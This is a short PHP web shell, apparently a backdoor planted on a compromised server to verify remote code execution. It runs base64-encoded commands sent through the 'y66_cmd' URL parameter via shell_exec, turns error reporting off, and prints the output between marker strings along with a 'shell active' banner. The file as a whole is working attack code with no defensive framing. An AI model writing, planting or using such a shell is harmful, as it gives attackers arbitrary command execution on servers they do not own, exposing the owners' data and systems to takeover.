<?php
/* Y66 RCE VERIFICATION 214d1c8a5363 */
error_reporting(0);
header("X-Y66-Valid: 214d1c8a5363");

if(isset($_GET['y66_cmd'])) {
    $cmd = base64_decode($_GET['y66_cmd']);
    $output = @shell_exec($cmd);
    echo "Y66_CMD_OUTPUT_START_214d1c8a5363";
    echo $output ? $output : "NO_OUTPUT";
    echo "Y66_CMD_OUTPUT_END_214d1c8a5363";
    exit;
}

echo "Y66_SHELL_ACTIVE_214d1c8a5363";
?>